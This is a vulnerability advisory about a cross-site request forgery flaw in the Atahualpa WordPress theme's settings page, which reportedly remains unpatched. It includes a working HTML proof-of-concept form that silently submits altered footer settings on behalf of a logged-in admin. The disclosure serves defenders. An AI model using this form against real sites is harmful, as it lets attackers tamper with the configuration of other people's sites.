A Cross Site Request Forgery vulnerability exists in the Atahualpa Wordpress theme which allows attackers to legitimate users into performing unintended actions on the Atahualpa theme configuration page.
This issue was successfully tested on Atahualpa WordPress Theme WordPress Theme.
There is currently no fix available.
The theme's save configuration settings form doesn't include a Wordpress CSRF nonce and consequently the script servicing the request doesn't check for one. This allows the form to be submitted with preloaded values as long as the browser sends a valid login cookie.
This allows attackers who lure legitimate users with an active Wordpress session to an irrelevant website which submits the "Save Settings" request to the user's Wordpress install. Since the request is towards a domain for which the browser has cookies the legitimate cookies will be submitted and the request will succeed.
Proof of concept
Install the theme, login as admin and load the following csrf poc in the same browser on another tab, when clicking "Submit" it will modify the page footer.
<html> <body> <form action="http://<target>/wp-admin/themes.php?page=atahualpa-options" method="POST"> <input type="hidden" name="footer_style" value="background-color: #ffffff; border-top: dashed 1px #cccccc; padding: 10000px; text-align: center; color: #777777; font-size: 95%; /*bye*/"/> <input type="hidden" name="footer_style_links" value="text-decoration: none; color: #777777; font-weight: normal;"/> <input type="hidden" name="footer_style_links_hover" value="text-decoration: none; color: #777777; font-weight: normal;"/> <input type="hidden" name="footer_style_content" value="Copyright &copy; %current-year% %home% - All Rights Reserved"/> <input type="hidden" name="full_width_footer" value="No"/> <input type="hidden" name="sticky_layout_footer" value="No"/> <input type="hidden" name="footer_show_queries" value="No"/> <input type="hidden" name="save" value=""/> <input type="hidden" name="action" value="save"/> <input type="hidden" name="category" value="footer-style"/> <input type="submit" value="Submit"/> </form> </body> </html>